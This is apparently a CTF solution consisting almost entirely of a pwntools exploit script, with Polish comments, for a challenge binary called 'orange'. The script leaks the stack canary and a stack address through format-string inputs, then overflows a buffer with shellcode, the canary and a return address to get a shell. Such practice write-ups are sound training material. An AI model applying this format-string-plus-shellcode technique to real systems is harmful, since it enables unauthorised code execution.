Just code:

```
from pwn import * #include
context.log_level='info' #na poczatku mozna
#context.log_level='debug' #dokladnie pokazuje wyslanie
#-
context.update(arch='x86_64', os='linux') #o tym pamietac jak sie nie pobiera danych z pliku
context.terminal = ['wt.exe','wsl.exe'] #do wsl

binary = context.binary = ELF("./orange", checksec=False)

if args.GDB:
gdbscript = """
call puts("Hello from process debugger!")
b *0x0000000000401196
"""
p = process(binary.path)
elif args.REMOTE:
address='orange.uctf.ir'
port='5001'
p=remote(address,port) #laczenie online
else:
p = process(binary.path)

if args.GDB:
gdb.attach(p,gdbscript)
pause (3) #wcisnąć c jak sie uruchomi debugger
#p.sendline(payload)
p.interactive()

RET=0x000000000040101a

CANARYp=b'%17$p'
p.sendlineafter(b'Enter your name:',CANARYp)
info(f"Enter your name: {CANARYp}")
p.sendlineafter(b'Enter your choice:',b'3')
info(f"3. Buy Oranges->3")
p.sendlineafter(b'to buy:',b'1')
info(f"Enter the number of oranges you want to buy ->1")
p.sendlineafter(b'Enter your choice:',b'1')
info(f"1. Show Cart->1")
p.recvuntil(b"Buyer: ")
CANARY=p.recvline().strip()
info (f"CANARY: {CANARY}")
CANARY=int(CANARY,16)

p.sendlineafter(b'5. Change Buyer Name',b'5')
info(f"5. Change Buyer Name->5")

STACKp=b'%7$p'
p.sendlineafter(b'Enter your name:',STACKp)
info(f"Enter your name: {STACKp}")

p.sendlineafter(b'Enter your choice:',b'1')
info(f"1. Show Cart->1")
p.recvuntil(b"Buyer: ")
STACK=p.recvline().strip()
STACK=int(STACK,16)+0x10 #ok

info (f"STACK: {hex(STACK)}")

p.sendlineafter(b'Enter your choice:',b'1')
info(f"1. Show Cart->1")

gdbscript = """
#call puts("Hello from process debugger!")
#start
#b *main
#SET_BUYER_NAME
b *0x0000000000401720
"""
#gdb.attach(p,gdbscript)
#pause (5) #wcisnąć c jak sie uruchomi debugger

p.sendlineafter(b'5. Change Buyer Name',b'5')

info(f"5. Change Buyer Name->5")

SHELLCODE= asm(shellcraft.sh())

payload=SHELLCODE+b'B'*(104-len(SHELLCODE))+p64(CANARY)+p64(RET)+p64(STACK)
pause (1)
p.sendlineafter(b'Enter your name:',payload)
p.interactive()
```

by Kerszi/MindCrafters